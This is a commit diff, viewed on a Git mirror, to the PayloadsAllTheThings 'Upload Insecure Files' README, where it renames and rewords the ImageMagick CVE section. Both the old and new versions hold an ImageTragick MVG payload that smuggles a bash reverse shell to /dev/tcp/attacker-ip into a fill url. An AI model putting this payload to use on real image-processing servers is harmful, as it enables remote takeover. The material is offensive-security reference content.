gitea-mirror/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-12-12 15:49:38 -08:00
Code Issues Packages Projects Releases Wiki Activity

ImageMagick Typo

Browse Source
This commit is contained in:
Swissky
2023-03-19 22:46:56 +01:00
parent 723b3213b2
commit dd0c23f9a2
28 changed files with 65 additions and 49 deletions
Download Patch File Download Diff File Expand all files Collapse all files

21
Upload Insecure Files/README.md
View File

@@ -11,7 +11,7 @@
* [Filename vulnerabilities](#filename-vulnerabilities)
* [Picture compression](#picture-compression-)
* [Configuration Files](#configuration-files)
* [CVE - Image Tragik](#cve---image-tragik)
* [CVE - ImageMagick](#cve---imagemagick)
* [CVE - FFMpeg](#cve---ffmpeg)
* [ZIP Archive](#zip-archive)
* [Jetty RCE](#jetty-rce)
@@ -161,18 +161,19 @@ Alternatively you may be able to upload a JSON file with a custom scripts, try t
}
```
### CVE - Image Tragik
### CVE - ImageMagick
Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
If the backend is using ImageMagick to resize/convert user images, you can try to exploit well-known vulnerabilities such as ImageTragik.
```powershell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
* ImageTragik example: Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
```powershell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
More payload in the folder `Picture Image Magik`
More payloads in the folder `Picture ImageMagick`
### CVE - FFMpeg